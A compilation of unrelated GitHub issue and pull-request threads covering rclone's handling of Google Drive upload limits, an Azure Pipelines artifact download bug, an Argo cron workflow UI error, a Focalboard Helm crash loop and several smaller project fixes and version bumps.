rclone exit when api limit error

When filing an issue, please include the following information if possible as well as a description of the problem.  Make sure you test with the latest beta of rclone.
https://beta.rclone.org/
https://rclone.org/downloads/

If you've just got a question or aren't sure if you've found a bug then please use the rclone forum instead of filing an issue.

What is your rclone version (eg output from rclone -V)
rclone 1.37
Which OS you are using and how many bits (eg Windows 7, 64 bit)
Linux
Which cloud storage system are you using? (eg Google Drive)
Google Drive
The command you were trying to run (eg rclone copy /tmp remote:tmp)
rclone copy /.local/ gdrive:/
A log from the command with the -vv flag (eg output from rclone -vv copy /tmp remote:tmp)
Just a Question.

I often reach the API User Limit on Google Drive, then i see on Rclone "Error 403 API Limit reached" but rclone doesnt exit, is it possible to immediatly exit rclone itself if such an error happens?
I looked up the documentation but found nothing about this.
Help would be appreciated

Just out of interest, what would be the use case for this? Surely you'd want rclone to retry uploads if they fail, no?

No i dont want that, because it even makes more API Hits, i want it to exit, and to retry a few hours later, because in the last days, ive not been able to copy even one file, because im always hitting the limit and its getting really annoying.

Another Question: Is it possible to raise the Delay when a API Limit has been hitted from 10ms to an much higher value with an command option? Or do i have then to build rclone myself?

I could see this being beneficial if it is a flag added. This is more impactful /w GDrives recent restriction to uploading 750GB per day.

I did this now so as a workaround (Its cancer, so if you dont want to read cancer, skip this)

I created a cronjob with rclone which starts a screen session which checks if its already running and if a "api.lock" is present, this cronjob writes the whole log to a file.
I created another cronjob which runs faster than the cronjob above, which starts a script which reads the file declared above, and searchs for the string "ERROR: 403", if this string is found, the file gets cleaned, a file named "api.lock" in a folder is created, and the rclone screen will get killed.
I did another script to check the API every 15 Minutes if the limit is free or locked, this can override the script result above.

You see, this workaround is... yeah its not cool. Please consider implementing automatic exit codes.

I'm surprised the isn't requested more. Hitting Google's 750gb limit is very common these days.
The transfers don't error out at exactly 750gb. So setting the max transfer limit to 750gb can still cause rclone to sit and spin for hours...
Setting low-level-retries and retries to 1 doesn't help either (now sure why??).
My current workaround is to run rclone prefaced with a timeout command as I know it will take X amount of minutes max before rclone sits and spins.

This feature request should be at the top of the list, right?

Can we get an answer from one of the devs? @ncw maybe?
This issue is open since september 2017... more than a year...

The problem is that the 403 errors happen during normal operations, and as far as I know google doesn't distinguish the errors.  So you can get an error which means "slow down a bit" and the same error can mean "you are banned for 24 hours".
I'd be delighted to be proved wrong about this, so if you could capture some errors (using `-vv --dump responses) in the different situations I'd be grateful.

The problem is that the 403 errors happen during normal operations, and as far as I know google doesn't distinguish the errors. So you can get an error which means "slow down a bit" and the same error can mean "you are banned for 24 hours".
I'd be delighted to be proved wrong about this, so if you could capture some errors (using `-vv --dump responses) in the different situations I'd be grateful.

What i remember is that the errors dont stop when you are banned for 24 hours.
When you only get a "warning", rclone can continue to upload.
So you could differentiate by that:

If error more than x in timeframe z, stop rclone and exit with a bad exitcode

Also, it would be beneficial to make this an option and not default behaviour.

Was having the same issue as OP. I need rclone to close when it errors and stops transferring.
@ncw Sorry to bring up an old topic, but a solution I thought of was maybe having it check how much data is uploaded in a time frame. For example, if 5MB has not been uploaded in the last 5 minutes, then exit?
Possible flag can maybe be something like this:
--exitif "5M,300"
(Exit if 5MB is not transferred in a 300 second duration?

Was having the same issue as OP. I need rclone to close when it errors and stops transferring.
@ncw Sorry to bring up an old topic, but a solution I thought of was maybe having it check how much data is uploaded in a time frame. For example, if 5MB has not been uploaded in the last 5 minutes, then exit?
Possible flag can maybe be something like this:
--exitif "5M,300"
(Exit if 5MB is not transferred in a 300 second duration?

That is a great idea...
Something like exit if

no data or files transferred for X seconds

would be easy to implement?

This is a much needed feature, use case is using rclone on a cron job that runs every X amount of time, but currently it will only spawn one job that will get stuck getting a bunch of 403

I've written a whole host of scripts to manually implement this for my requirements, and as such would love to see rclone handle this natively.
Keep up the great work @ncw

I've written a whole host of scripts to manually implement this for my requirements, and as such would love to see rclone handle this natively.

What is the heuristic you are using @lloydie11sky ?

I'm currently using more than 60 occurrences in the 100 transfer attempts, I'm just testing this now as a percent of 80% which I'm hoping will help.
The point of my script is to create a full sync agent for multiple mounts, so when it hits either API 750 daily limit, it queues the next sync for 24 hours, and queues each one with 750GB max transfer, records the result and only then pulls the sync back past a certain period.
I'm often asked why i don't just set the BWLIMIT to 8 and run them all one after the other, however i don't seem to get the speeds i need that way, and quite like the concept of my box having IDLE times, and not running sync jobs constantly when it doesn't need to.
Works quite well, but not exactly versatile for all situations, so i have a props file that let's you adjust various elements within my program.
Works well for what i need, but still wish it was native to rclone to save me the faff, after all, rclone is the whole reason I've tried to do it, because it's an exceptional project. Love it @ncw , keep up the good work.

Interesting!

The point of my script is to create a full sync agent for multiple mounts, so when it hits either API 750 daily limit,

How does this work? I've found it very hard to detect when the 750 limit is reached

Well in my case, it simply monitors your log file for when this response comes back for from the API for more than x in x, which I've put in a parameter file so i can easily change it incase google changes the way it handles those requests.
At the moment I'm working on a data counter, so it will add up the transferred data, either from the output of the rclone log, or from something such as nethogs to let me know when i'm around 20 GB off the limit, then add a flag with date to in essence kill the job, and then check that flag each time a job is spun to see if 24 hours has elapsed since the flag was put in place.
Can you not look at something relating to the errors, so when maybe 20 consecutive errors are reached, then you check the response code for the API for each of those 20 errors, and if it's a permanent drop, then alert and kill?
It's by no means a polished piece of work, and i'm sure it's a lot more complicated than that to implement into something such as rclone, but it suits my needs.

Perhaps you can clarify, i notice  when --MaxTransfer 750G has been hit in rclone, the exitcode for rclone still shows as 7, although the documentation shows this as being 8 for exceeding that switch.
https://rclone.org/docs/#exit-code
Is this something known that I've missed the issue log for?
Thanks,

Perhaps you can clarify, i notice when --MaxTransfer 750G has been hit in rclone, the exitcode for rclone still shows as 7, although the documentation shows this as being 8 for exceeding that switch.

Sounds like a bug!  Can you make a separate issue please :-)

Can you not look at something relating to the errors, so when maybe 20 consecutive errors are reached, then you check the response code for the API for each of those 20 errors, and if it's a permanent drop, then alert and kill?

Trouble is that the errors look the same from google telling you to back off a bit, to google not allowing any more data to be uploaded.  Can you verify that?
I guess some number, say 100 of these errors in a row might be reliable enough to conclude that the transfer limit has been reached.

Can you not look at something relating to the errors, so when maybe 20 consecutive errors are reached, then you check the response code for the API for each of those 20 errors, and if it's a permanent drop, then alert and kill?

Trouble is that the errors look the same from google telling you to back off a bit, to google not allowing any more data to be uploaded. Can you verify that?
I guess some number, say 100 of these errors in a row might be reliable enough to conclude that the transfer limit has been reached.

This is in essence exactly what I've done, consecutive back-offs for each request that exceeds 60. OK my number may be a little low, but 100 would still be better than it simply going on forever.
I've not come across any issues as a result so far, and I've been doing that for around 6 months.
Oh the woes!

I've just merged a fix for this in the latest beta (you'll want v1.50.2-131 or later so may need to wait 15 mins from now).
If you use this flag then rclone should exit when we get to the 750 GB limit.
--drive-stop-on-upload-limit
Make upload limit errors be fatal
At the time of writing it is only possible to upload 750GB of data to
Google Drive a day (this is an undocumented limit). When this limit is
reached Google Drive produces a slightly different error message. When
this flag is set it causes these errors to be fatal.  These will stop
the in-progress sync.
Note that this detection is relying on error message strings which
Google don't document so it may break in the future.
See: https://github.com/rclone/rclone/issues/3857

Config:      stop_on_upload_limit
Env Var:     RCLONE_DRIVE_STOP_ON_UPLOAD_LIMIT
Type:        bool
Default:     false

Sounds very promising, can you confirm if their is a separate exit code for this, should we need to report on a mount that has reached it's upload limit?
Thanks,


chore: revert removal of tactic usage in Archive

This reverts a change from #19691, which unnecessarily removed a tactic invocation in favour of writing out lemmas. The archive should be demonstrating good style, and unless there is a verbosity or speed issue, robust and well specified tactics should always be preferred over proofs that require knowing lemmas (even if, as in this case, those lemmas are easy to identify and use).

Does what it says. A maintainer please confirm if this is what we want.
maintainer delegate?

bors r+


Would notification drawer benefit from a general empty state?

Related to #526
original comment
The individual empty tab messages are a big improvement. Its possible that a user could still be a bit frustrated opening each tab only to find that there are no notifications.  It may be beneficial to provide a generalized way to indicate to the user that there are no new notifications at all.

That may be able to be solved programmatically by updating the notifications-body.html with something like:

If this is acceptable, then I would simply propose an update to the docs.
Another possibility might be to provide a new attrib for an empty state template:
notification-body-include="notification-body.html"
notification-body-empty-include="notification-body-empty.html"

At first glance this seems like it would be nice as it abstracts away some of the noise, but I'm not sure if its worth the cost of $watch-ing notification-groups to count all of the notifications in each array in order to trigger the template change.
@jeff-phillips-18

In OpenShift, the accordion is not used so this issue does not apply. Changing to priority 3 for now. Will bring back up if other products experience this issue!


Revert "chore: use locally installed lerna instead of a global one"

Reverts aerogear/graphback#1308
This actually caused issue when releasing https://github.com/aerogear/graphback/releases/tag/0.14.0-alpha1
as the output contained more than the packages under lerna.
When releasing CI failed with
#!/bin/bash -eo pipefail
TAG=$CIRCLE_TAG npm run release:validate

><EMAIL_ADDRESS>release:validate /home/circleci/aerogear/graphback
> ./scripts/validateRelease.sh

package yarn has version un but expected 0.14.0-alpha1

More logs here https://circleci.com/gh/aerogear/graphback/4421?utm_campaign=vcs-integration-link&utm_medium=referral&utm_source=github-build-link
The failure was due to the command yarn lerna --loglevel=silent ls | awk -F ' ' ' ' '{print $1} outputting
something like
yarn $ graphback-cli @graphback/codegen-client @graphback/codegen-offix @graphback/codegen-resolvers @graphback/codegen-schema @graphback/core @graphback/keycloak-authz @graphback/runtime-knex @graphback/runtime-mongo @graphback/runtime graphback graphql-migrations graphql-serve Done

Notice the yarn $ at the beginning and Done at the end of the output. These inputs messed up the validation phase as yarn, $ and Done were treated as packages under lerna.
My bad for the initial PR.

Once this is merged we can do another release.

We can delete release and tag and recreate it


ISPN-12728 Add Persistent Memory to Soft Index File Store

https://issues.redhat.com/browse/ISPN-12728
This adds in support for persistent memory usage. The mashona library will only return a non null FileChannel if it was able to allocate it with persistent memory. In the case it is null we just fall back to the prior code as normal.
Unfortunately, there is no way to test this currently. However, Jonathan Halliday tested this before. We may need to discuss further with him how we can properly test this long term though.

Updated and fixed compilation error in tools. I defaulted the max file size to 1MB. It should be fine for the migration tool I would expect. And this is only used with pmem.

The dependency should be optional

The dependency should be optional

Alright, I will change this over.

Updated to make it optional.

Thanks @wburns

@wburns javadoc is broken
[ERROR] Exit code: 1 - /mnt/data/pedro/work/infinispan/persistence/soft-index/src/main/java/org/infinispan/persistence/sifs/pmem/PmemUtilWrapper.java:7: error: package io.mashona.logwriting does not exist
[ERROR] import io.mashona.logwriting.PmemUtil;
[ERROR]                             ^
[ERROR]
[ERROR] Command line was: /mnt/data/pedro/opt/java-11-sun/bin/javadoc -J--add-opens -Jjdk.javadoc/jdk.javadoc.internal.tool=ALL-UNNAMED @options @packages


Fix LFS-25 bug

Correct capitalization issue preventing build

Causing runtime issues: Moved to draft until resolved

Runtime issues resolved, ready for testing and review again


Manual installation without CocoaPods

How can I install this library manually without using CocoaPods?
I added Example/Pods/Pod.xcodeproj to my project, and XCTest-Gherkin (Pod) "Target Dependency" and "XCTest_Gherkin.framework" in "Link Binary With Libraries". Still doesn't seem to recognize the library.

Thanks for replying, @kerrmarin!
I was adding source files to my project as a references, not as a groups. That's why it didn't work.
Thank you.


fix: tutorial url

- Summary

- Test plan

- Description for the changelog

- A picture of a cute animal (not mandatory but encouraged)

Deploy preview for netlify-cms-www ready!
Built with commit 5f699b1e5361b3d95866386b2eb3aad5ca0c81a6
https://deploy-preview-1545--netlify-cms-www.netlify.com

Deploy preview for cms-demo ready!
Built with commit 5f699b1e5361b3d95866386b2eb3aad5ca0c81a6
https://deploy-preview-1545--cms-demo.netlify.com

@verythorough There are a few similar mistakes. If this is OK, I will change the others.

Thanks, @sinchang! The reason why we use absolute URLs is because some people like to read the docs directly in the repo, and relative links break without the .md extension. There are certainly downsides to the absolute links, but they at least direct in-repo readers to a working page.
As an alternative, we could change all of the links to relative, with the .md extension, and add a step to the build to remove them, though we'd have to be sure that the transforms work as expected and don't break, say, links to docs in other repos.


UI Spacing Errors

Description
Is this a different section or are they merged?
Screenshots

Gitea Version
1.21.0+dev-803-ge116ad450
Can you reproduce the bug on the Gitea demo site?
Yes
Operating System
linux 6.2.0-1013-gcp
Browser Version
Microsoft Edge 116.0.1938.69 (Official build) (64-bit)

Can you open a Pr for this change?

Could you share the full description like which page you are on, we are unable to repro this.

@puni9869 It's on the repo settings page for Pull mirrors. You have to first migrate and mirror a repo onto the Gitea instance to be able to see it


Disabled mode

Please add a prop to the component to handle disabled mode
for example :
<DatePicker disabled />

that sounds like a good idea.
currently i don't have much time to work on this project - so improvements from others are definitely welcomed.
please feel free to do so and send a pr.


##TypeError: 'ObjCInstance' object is not callable

Expected Behavior

I have successfully installed the toga in my macOS but its showing error when I run
When I try to run the toga-demo in my terminal it shows me error
Current Behavior

showing me error
TypeError: 'ObjCInstance' object is not callable

Your Environment

Python Version (list the specific version number)

Operating System and Version (select from the following and list the specific version number; if your OS is not listed, list that as well)

[x] macOS - version: High Sierra
[ ] Linux - distro:   - version:
[ ] Windows - version:
[ ] Other - name:  - version:

This is almost certainly a duplicate of #243.


Download Pipeline Artifact - wrong match pattern

Type: bug
Enter Task Name: Download Pipeline Artifact uses wrong match pattern
Environment

Server - Azure Pipelines
Agent - Hosted

Issue Description
When the build pipeline produces multiple artifacts and we want to choose just a few of them in the release pipeline, the artifact is not downloaded because of a wrong file match pattern. In the sample below out of 3 artifacts we chose 2: IPA and dSYM. Observe how the minimatch pattern tries to filter files which are ALREADY filtered when downloading IPA artifact from the build pipeline:
2019-04-24T07:39:45.4941191Z ##[section]Starting: Download artifact - xxx-CI - IPA
2019-04-24T07:39:45.7521007Z ====================================================================
2019-04-24T07:39:45.7521146Z Task         : Download Pipeline Artifact
2019-04-24T07:39:45.7521213Z Description  : Download Pipeline Artifact
2019-04-24T07:39:45.7521253Z Version      : 1.1.0
2019-04-24T07:39:45.7521292Z Author       : Microsoft Corporation
2019-04-24T07:39:45.7521799Z Help         : Download named artifact from a pipeline to a local path.
2019-04-24T07:39:45.7521847Z ====================================================================
2019-04-24T07:39:47.0049211Z Download artifact to: d:\a\r1\a/xxx-CI/IPA
2019-04-24T07:39:47.7342021Z Information, Minimatch patterns: [IPA/**,dSYM/**]
2019-04-24T07:39:48.1065063Z Information, Filtered 0 files from the Minimatch filters supplied.
2019-04-24T07:39:48.1842303Z Information, Could not initialize dataport.
2019-04-24T07:39:48.2058422Z Information, Downloaded 0.0 MB out of 0.0 MB (100%).
2019-04-24T07:39:48.2744416Z Information, Downloaded 0.0 MB out of 0.0 MB (100%).
2019-04-24T07:39:48.2745688Z Information, Download completed.

Here's an example when ALL artifacts are selected for download. Note the minimatch pattern correctly assumes ** pattern here:
2019-04-24T09:22:23.4140803Z ##[section]Starting: Download artifact - xxx-CI - IPA
2019-04-24T09:22:23.9883092Z ====================================================================
2019-04-24T09:22:23.9883237Z Task         : Download Pipeline Artifact
2019-04-24T09:22:23.9883289Z Description  : Download Pipeline Artifact
2019-04-24T09:22:23.9883350Z Version      : 1.1.0
2019-04-24T09:22:23.9883397Z Author       : Microsoft Corporation
2019-04-24T09:22:23.9883447Z Help         : Download named artifact from a pipeline to a local path.
2019-04-24T09:22:23.9883955Z ====================================================================
2019-04-24T09:22:25.0558180Z Download artifact to: d:\a\r1\a/xxx-CI/IPA
2019-04-24T09:22:25.9683139Z Information, Minimatch patterns: [**]
2019-04-24T09:22:28.3661439Z Information, Filtered 1 files from the Minimatch filters supplied.
2019-04-24T09:22:28.4508002Z Information, Could not initialize dataport.
2019-04-24T09:22:28.4763131Z Information, Downloaded 0.0 MB out of 29.4 MB (0%).
2019-04-24T09:22:33.4876794Z Information, Downloaded 11.9 MB out of 29.4 MB (40%).
2019-04-24T09:22:38.4879766Z Information, Downloaded 28.1 MB out of 29.4 MB (95%).
2019-04-24T09:22:38.7073250Z Information, Downloaded 29.4 MB out of 29.4 MB (100%).
2019-04-24T09:22:38.7073579Z Information, Download completed.

@fadnavistanmay

Ack. So @arek-avanade , you are trying to download just a single artifact, right? And you need all the files in that artifact ( IPA ), the you don't need to give any minimatch pattern. @owenhuynMSFT - FYI. From what I understand, the minimatch pattern will be applicable to all the artifacts.

@fadnavistanmay In the first case I chose 2 artifacts in the DevOps UI: IPA and dSYM. Here's how it looks like:

I haven't provided any match patterns myself, but each artifact is downloaded individually in the pipeline and it uses the pattern [IPA/,dSYM/]. I think the problem is that even though the artifacts are downloaded one-by-one, the pattern tries to filter them out based on my selection even though we are already downloading them individually based on my selection.

We are hitting the same issue.
Is there any ETA for fix ?

@Rzpeg , sorry for the delay, we are looking into the issue. @omeshp - Could you help here please. Looks like, when the user is selecting a particular artifact to download in RM, the itemPattern (minimatch ) is being set a /** for each artifact, instead of just **. This scenario works in build pipelines (multidownload). Are we adding artifactName to the minimatchPattern in RM?

@fadnavistanmay Yes, we are adding the artifactname to item patterns at injection time. But I don't see why that should break the download if task is handling the patterns correctly.

@Rzpeg thanks for the followup.

Hello @omeshp , basically, the minimatch pattern is going in as "/" instead of "" -> so the logic is searching for files that match "/" instead of "", hence it's failing. Could you please remove adding the artifactname logic in the injection.
Thanks,
Tanmay

@fadnavistanmay The issue here isn't adding artifactname at injection time, we do the same thing for server build artifact. The issue is how the pattern is handled in the download task. If a pattern like artifactname/** is sent to "Download Pipeline Artifacts" task it skips downloading all the files, on the other hand same pattern works with "Download Build Artifacts" task. Below are the snapshots where it works for one task and not the other:
Working: https://panditaomesh.visualstudio.com/Project1/_build/results?buildId=15101&_a=summary&view=logs

Not Working: https://panditaomesh.visualstudio.com/Project1/_build/results?buildId=15100

@omeshp @fadnavistanmay
Is there any progress on the issue ?
Downloading all artifacts is, for some reason, is very slow on Azure Pipelines, the first 5-6 artifacts are downloaded fast (3-10 seconds per 100-200 mb artifact) and the rest take up to 2-4 minutes each, with constant errors (below). The issue is causing the deployment process to take close to 30 minutes instead of 5-6 for all our artifacts.
2019-05-07T13:49:01.0066053Z Warning, [https://nu4vsblobprodsu6weus57.blob.core.windows.net/dbe63b98307635479db31e89f778704d55/033FF830F3465DF12ADDC8425DEB5CAFE8532A99D76DF502EC98D4F5756AA15201?sv=2017-04-17&sr=b&sig=tKvyEytyCaGn6QxFf4wrTuX24sltRHXqmgy%2FvsuRBJA%3D&spr=https&se=2019-05-07T16%3A01%3A33Z&sp=r&rscl=x-e2eid-7190cd7e-d8ed40c3-90c41c74-43c0bf4a-session-fbcd7455-c21842f0-9e2e7d15-31d925a5] Try 1/5, retryable exception caught. Retrying in 00:00:01. Details:
2019-05-07T13:49:01.0066512Z Exception.Data didn't contain key LastRequestResponse or its value was null or not a string. Was HttpRequestExceptionExtensions.SetHttpMessagesForTracing called? System.Net.Http.HttpRequestException: An error occurred while sending the request. ---> System.Net.Http.WinHttpException: Error 12002 calling WINHTTP_CALLBACK_STATUS_REQUEST_ERROR, 'The operation timed out'.
2019-05-07T13:49:01.0066733Z    at System.Threading.Tasks.RendezvousAwaitable`1.GetResult()
2019-05-07T13:49:01.0066819Z    at System.Net.Http.WinHttpHandler.StartRequest(WinHttpRequestState state)
2019-05-07T13:49:01.0066920Z    --- End of inner exception stack trace ---
2019-05-07T13:49:01.0067015Z    at System.Net.Http.HttpClient.FinishSendAsyncBuffered(Task`1 sendTask, HttpRequestMessage request, CancellationTokenSource cts, Boolean disposeCts)
2019-05-07T13:49:01.0067195Z    at Microsoft.VisualStudio.Services.Common.TaskCancellationExtensions.EnforceCancellation[TResult](Task`1 task, CancellationToken cancellationToken, Func`1 makeMessage, String file, String member, Int32 line)
2019-05-07T13:49:01.0067341Z    at Microsoft.VisualStudio.Services.BlobStore.WebApi.DedupStoreHttpClient.<>c__DisplayClass56_0.<<GetRedirectResponseAsync>b__0>d.MoveNext()
2019-05-07T13:49:01.0067435Z --- End of stack trace from previous location where exception was thrown ---
2019-05-07T13:49:01.0067547Z    at Microsoft.VisualStudio.Services.Content.Common.AsyncHttpRetryHelper`1.InvokeAsync(CancellationToken cancellationToken)

@Rzpeg Sorry for the inconvenience, we are working on the fix and will get it deployed to your account by next week.

@omeshp Thanks for the ETA.
I have created another issue for the timeouts during artifact download: #10343

@omeshp has it been fixed in production yet ?

Hi @Rzpeg , Yes the fix has been deployed to the production. Let us know if you are still facing the issue.

@omeshp seems to be working now! Deployment time reduced by the whoping 70%.
Thanks!

@Rzpeg Thanks for the confirmation!


Cron Workflows UI Fails to Load

Pre-requisites

[X] I have double-checked my configuration
[X] I have tested with the :latest image tag (i.e. quay.io/argoproj/workflow-controller:latest) and can confirm the issue still exists on :latest. If not, I have explained why, in detail, in my description below.
[X] I have searched existing issues and could not find a match for this bug
[ ] I'd like to contribute the fix myself (see contributing guide)

What happened? What did you expect to happen?
What Happened?
When we upgraded from argo workflows 3.5.5 to argo 3.6.2, the Cron Workflows tab errors with a "e.spec.schedules is undefined" error (see screenshot below).  This only happens in namespaces that had cron workflows created before the upgrade.  If a namespace did not have any previous cron workflows, then creating a new workflow works and is properly displayed.
I should say that it seems like the workflow does not display correctly in the UI.  It still exists and runs as scheduled.

What did I expect to happen?
I would think that the UI would work with the old workflows and that I wouldn't have to re-create all our previous cron workflows in order to see them in the UI.
Version(s)
3.6.2
Paste a minimal workflow that reproduces the issue. We must be able to run the workflow; don't enter a workflow that uses private images.
This is a workflow server issue.  I assume creating any workflow with a schedule on 3.5.* and then upgrading to 3.6.2 would have this problem

Logs from the workflow controller
This is not a workflow controller issue.  I checked the workflow server and there were no errors.  It seems like it could be something with the frontend.  Below is the workflows-server logs:

time="2024-12-16T14:52:50.141Z" level=info msg="finished unary call with code OK" grpc.code=OK grpc.method=GetInfo grpc.service=info.InfoService grpc.start_time="2024-12-16T14:52:50Z" grpc.time_ms=0.118 span.kind=server system=grpc
time="2024-12-16T14:52:50.141Z" level=info duration="579.449µs" method=GET path=/api/v1/info size=951 status=0
time="2024-12-16T14:52:50.141Z" level=info msg="finished unary call with code OK" grpc.code=OK grpc.method=GetUserInfo grpc.service=info.InfoService grpc.start_time="2024-12-16T14:52:50Z" grpc.time_ms=0.113 span.kind=server system=grpc
time="2024-12-16T14:52:50.141Z" level=info duration="574.085µs" method=GET path=/api/v1/userinfo size=216 status=0
time="2024-12-16T14:52:50.149Z" level=info msg="finished unary call with code OK" grpc.code=OK grpc.method=ListCronWorkflows grpc.service=cronworkflow.CronWorkflowService grpc.start_time="2024-12-16T14:52:50Z" grpc.time_ms=8.589 span.kind=server system=grpc
time="2024-12-16T14:52:50.150Z" level=info duration=9.403989ms method=GET path=/api/v1/cron-workflows/data-science-stg size=12928 status=0
time="2024-12-16T14:52:50.240Z" level=info msg="finished unary call with code OK" grpc.code=OK grpc.method=GetVersion grpc.service=info.InfoService grpc.start_time="2024-12-16T14:52:50Z" grpc.time_ms=0.113 span.kind=server system=grpc
time="2024-12-16T14:52:50.240Z" level=info duration="508.15µs" method=GET path=/api/v1/version size=215 status=0

### Logs from in your workflow's wait container

```text
Again, this is a frontend issue, so it does not relate to the wait container.

can u try with https://github.com/argoproj/argo-workflows/pull/13856

That seems like all the workflows won't render at all

But if I were to try this, is there a pre-built image or would I have to build it myself?

build yourself

It seems to be related to the fact that schedule was abandoned in 3.6 and replaced by schedules. https://argo-workflows.readthedocs.io/en/latest/deprecations/#cronworkflow-schedule

'schedule' still works in 3.6, but is marked deprecated. Both 'schedule' and 'schedules' work.

@shuangkun is correct, the UI code only handles schedules, not schedule


Architecture- design our env architecture

As we're all interested in modernizing our envs, using docker and CI/ CD, we first need to understand what our architecture would look like.
We should have 2/3 type of envs- to your choice;

Local envs- where we develop, so they should respond fast, not require maintenance, and should be responsive to code changes. All services, including FE/ BE/ node jobs should run there, as well as MYSQL.
STG/ PROD envs
Dynamic envs (?)- that can be lifted upon request, by github actions, upon branch selection and ready to use with some seed data and all processes run automatically.

@Sund3 @gruppin @tomers What are your thoughts?

Hi @tomers I'm assigning this to you, maybe you can take it with @gruppin


Voz Português Brazil

Hi, how are you?
Could you use this voice to train a voice for Portuguese on coqui.ai? We in Brazil don't have it, we only have it for Portugal, the pronunciation is very different. There is this model TTS-Portuguese Corpus https://github.com/Edresson/TTS-Portuguese-Corpus
He has already trained in Portuguese, but I don't know how to put it in coqui.ai to be able to use it.

Hi, i'm fine thanks for asking. Hope you're doing well too 😊.
If there isn't already a brazilian Coqui TTS model available i would be better if it's trained by a native speaker who can validate the models quality. As Edresson is active on Coqui TTS community (imho, he's part of Coqui) maybe it's better to discuss this topic there. But technically this should be possible based on the dataset you've mentioned.
https://github.com/coqui-ai/TTS/discussions


Updates to delta.py

I offer small changes to nearly every line of delta.py.  The main benefit this draft brings is complete modern type annotation.  In particular, the signature of business_lapse() is entirely explicit.
This pull request also uses aliases a bit more intelligently to abbreviate computations.  It decorates most of TimeCalc's definitions as private (at least for now).  It simplifies a calculation or two.  Finally, it amplifies docstring-s usefully to provide a few executables likely to interest the reader.

Cool.
On Thu, Dec 9, 2021 at 7:00 PM Diana @ Delta9 @.***>
wrote:

Merged #1 https://github.com/di-delta9/rindr/pull/1 into main.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/di-delta9/rindr/pull/1#event-5744666574, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AWBRRVQJ45IMJEIPW2FEOT3UQFGMNANCNFSM5JX4FLJA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.


[focalboard] Chart's default vaules causes pod to CrashBackOffLoop

Details
Helm chart name and version:
focalboard v4.1.0

Container name and tag:
mattermost/focalboard:0.11.0

What steps did you take and what happened:
Installed the helm chart to my cluster via Kustomization HelmRelease and the Pod goes into a CrashBackOffLoop

Relevant Helm values:
Changed no default values but the container image tag to 0.11.0 (most recent), and setup ingress/persistent storage
image:
  # -- image repository
  repository: mattermost/focalboard
  # -- image pull policy
  pullPolicy: IfNotPresent
  # -- image tag
  tag: 0.11.0

# -- environment variables.
# @default -- See below
env: {}

# See the Administrator's Guide for config reference: https://www.focalboard.com/guide/admin/
config: |
  {
    "serverRoot": "http://localhost:8000",
    "port": 8000,
    "dbtype": "sqlite3",
    "dbconfig": "/data/focalboard.db",
    "postgres_dbconfig": "dbname=focalboard sslmode=disable",
    "useSSL": false,
    "webpath": "./pack",
    "filespath": "/data/files",
    "telemetry": true,
    "session_expire_time": 2592000,
    "session_refresh_time": 18000,
    "localOnly": false,
    "enableLocalMode": true,
    "localModeSocketLocation": "/var/tmp/focalboard_local.socket"
  }

ingress:
  main:
    enabled: true
    ingressClassName: "traefik"
    annotations:
      cert-manager.io/cluster-issuer: "letsencrypt-production"
      hajimari.io/enable: "true"
      hajimari.io/icon: "notebook-outline"
      traefik.ingress.kubernetes.io/router.entrypoints: "websecure"
      traefik.ingress.kubernetes.io/router.middlewares: "networking-basic-auth@kubernetescrd"
    hosts:
      - host: "focalboard.${SECRET_DOMAIN}"
        paths:
          - path: /
            pathType: Prefix
    tls:
      - hosts:
          - "focalboard.${SECRET_DOMAIN}"
        secretName: focalboard-tls

persistence:
  data:
    enabled: true
    existingClaim: focalboard-data-v1

What did you expect to happen:
I expected the chart to install and the container to come up
Anything else you would like to add:
The Pod goes into a crashBackOffLoop with the following error from the pod logs
# kubectl logs -f focalboard-d75b98894-bpht6 -n productivity
2021/12/11 14:13:20 Unable to read the config file: 1 error(s) decoding:

* cannot parse 'port' as int: strconv.ParseInt: parsing "tcp://<IP_ADDRESS>:8000": invalid syntax

Additional Information:
It appears based on the error that something is overwriting the config "port' with tcp://<IP_ADDRESS>:8000 when it is set to 8000 in the helm-release

I have looked through the chart, but I cannot find anywhere in the chart where we change these settings. I am wondering if this is being caused by Kubernetes service links. Those would create an environment variable called FOCALBOARD_PORT, and if the application can be configured through environment variables (maybe this is a recent change?) the application will fail to start.
Could you try to set enableServiceLinks: true to false in your values.yaml and see if it works then?

I put enableServiceLinks: false under values in my helm-release.yaml file at the same indentation as image but got the same result.


platformio: 5.2.5 -> 6.0.1

Description of changes
Version bump:
https://github.com/platformio/platformio-core/releases/tag/v6.0.0
https://github.com/platformio/platformio-core/releases/tag/v6.0.1

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[x] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
22.05 Release Notes (or backporting 21.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module
[ ] (Release notes changes) Ran nixos/doc/manual/md-to-db.sh to update generated release notes

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 173670 run on x86_64-linux 1

2 packages built:

esphome
platformio

Could we convince upstream to fix or auto-skip more of those tests? Seems like quite a maintenance burden.

@Mindavi: All those tests I have deactivated are being skipped as they require Internet access. I'd guess, that's the reason for most cases.
I'll think about reporting it upstream to, e.g., allowing those to be skipped automatically. Thanks for your suggestion - and yes, checking why those tests are failing is a PITA.


Remove coveralls

Remove coveralls integration because it does the same as codecov. Also it doesn't work with Github Actions in case of builds from a forked repos (see this PR) because the secrets can not be shared with builds from forks (Github limitation).
Fixes #242

👍

:+1:


Missing information when saving model in tf format

System information

Have I written custom code (as opposed to using a stock example script provided in TensorFlow): No
OS Platform and Distribution (e.g., Linux Ubuntu 16.04): Windows 10
